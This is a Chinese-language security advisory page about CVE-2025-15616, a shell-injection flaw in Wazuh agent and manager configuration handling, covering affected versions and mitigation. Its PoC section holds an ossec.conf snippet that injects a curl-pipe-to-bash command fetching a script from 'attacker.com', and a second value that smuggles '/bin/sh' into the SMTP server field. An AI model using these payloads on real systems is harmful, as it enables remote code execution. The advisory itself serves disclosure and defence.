IPBUF安全漏洞报告
English
CVE-2025-15616 CVSS 6.7 中危

CVE-2025-15616 Wazuh组件Shell注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2025-15616
漏洞类型
Shell注入, 远程代码执行
CVSS评分
6.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Wazuh wazuh-agent, wazuh-manager

相关标签

WazuhShell注入RCE远程代码执行

漏洞概述

Wazuh wazuh-agent 和 wazuh-manager 在 2.1.0 至 4.8.0 之前的版本中存在多个 Shell 注入和不受信任的搜索路径漏洞。攻击者可利用 logcollector 配置、maild SMTP 服务器标签以及 Kaspersky AR 脚本参数中的缺陷,通过配置文件或自定义标志注入恶意命令。由于系统在处理这些输入时未进行充分的过滤,直接传递给 Shell 执行,导致攻击者能够在受影响系统上实现任意命令执行,从而完全控制系统的完整性和可用性。

技术细节

该漏洞源于 Wazuh 组件在处理特定配置参数时缺乏严格的输入验证。首先,在 logcollector 组件中,攻击者可以修改日志收集配置,将恶意 shell 命令注入其中。其次,maild 组件处理 SMTP 服务器标签时,同样存在将标签内容直接传递给 shell 执行的风险。此外,Kaspersky AR 脚本的参数解析也存在类似问题。由于 CVSS 向量显示需要高权限(PR:H),这通常意味着攻击者需要拥有配置修改权限或能够诱导管理员修改配置。一旦恶意配置被加载,Wazuh 服务在重启或重新加载配置时,会调用系统 shell 执行这些参数,从而在底层操作系统上以服务运行权限执行任意代码,导致 Confidentiality、Integrity 和 Availability 均受到严重影响。

攻击链分析

STEP 1
访问配置
攻击者获取对 Wazuh 管理器或代理配置文件(如 ossec.conf)的写入权限,或利用高权限账户进行修改。
STEP 2
注入载荷
攻击者在 logcollector 配置、maild SMTP 标签或 Kaspersky AR 脚本参数中插入恶意的 Shell 命令。
STEP 3
触发执行
Wazuh 服务重启或重新加载配置,解析并执行被注入的恶意参数。
STEP 4
获取权限
系统 Shell 执行恶意代码,攻击者获得受影响系统的远程代码执行权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for logcollector configuration injection --> <!-- Modify /var/ossec/etc/ossec.conf --> <ossec_config> <localfile> <log_format>command</log_format> <!-- Injecting malicious command to execute shell --> <command>$(curl http://attacker.com/shell.sh | bash)</command> <alias>syslog</alias> </localfile> </ossec_config> <!-- Alternatively for maild --> <!-- <maild> <smtp_server>attacker.com; /bin/sh</smtp_server> </maild> -->

影响范围

Wazuh wazuh-agent >= 2.1.0, < 4.8.0
Wazuh wazuh-manager >= 2.1.0, < 4.8.0

防御指南

临时缓解措施
建议立即检查 Wazuh 配置文件中 logcollector、maild 及 Kaspersky AR 相关的配置项,移除任何可疑或非必要的自定义命令和参数,并确保只有受信任的管理员才能修改这些配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表